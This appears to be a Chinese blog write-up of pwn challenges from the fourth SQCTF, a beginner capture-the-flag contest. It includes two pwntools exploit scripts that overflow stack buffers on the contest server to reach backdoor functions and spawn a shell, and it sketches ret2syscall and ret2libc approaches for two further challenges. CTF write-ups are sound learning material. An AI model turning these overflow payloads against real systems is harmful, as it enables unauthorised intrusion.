很荣幸参加了第四届SQCTF,作为新生赛,难度还可以,因为本人能力还不够,并没能够akpwn,还得再努力努力(毕竟是想打XCTF的,这点实力是肯定不行的。

浅红欺醉粉,肯信有江梅

一道简单到不能再简单的nc签到题。

领取你的小猫娘

这是一道64位的题,基本没开什么保护。

这里可以看到有一个后门函数,其判断条件为v5的值为真,因为我们能输入的是v4,而且观察栈上结构可以知道地址相差0x50-4。所以可以通过输入覆盖到v5并将v5的值变为真即可。

from pwn import*
context(arch='amd64',os='linux')
io=remote('challenge.qsnctf.com',31547)

payload=cyclic(0x50-4)+p64(1)
io.sendline(payload)
io.interactive()

江南无所有,聊赠一枝春

这是一道64位的题,开启了NX保护,因此不好使用shellcode。

通过IDA可以发现存在明显栈溢出,并且有后门函数,所以这题是一道简单的ret2text,通过栈溢出覆盖返回地址为后门函数。(注意堆栈平衡。

from pwn import*
io=remote('challenge.qsnctf.com',32767)
elf=ELF('./gift')
backdoor=elf.sym['gift']
payload=cyclic(64+8)+p64(0x40101a)+p64(0x4011B6)
io.sendline(payload)
io.interactive()

当时只道是寻常

这是一道64位的题目,基本没开什么保护。

并且有/bin/sh的地址,但是没有system函数,所以我第一反应应该是64位的ret2syscall。

32位与64位syscall的相同点是都必须调用寄存器,都想构造出execve(/bin/sh,0,0)这种结构。

两者最主要的区别是系统调用号、传参以及最后的中断命令不一样,但是大致思路都是一样的,在这就不多说了。(主要是找不到当时写的exp了,又懒得再写一遍。

被酒莫惊春睡重

这也是一道简单的64位题目。

我感觉是一道简单的ret2libc的题目,只需要满足一些特定的条件就能进入溢出函数了,然后就是普通的libc了,在此也不想做过多的介绍了。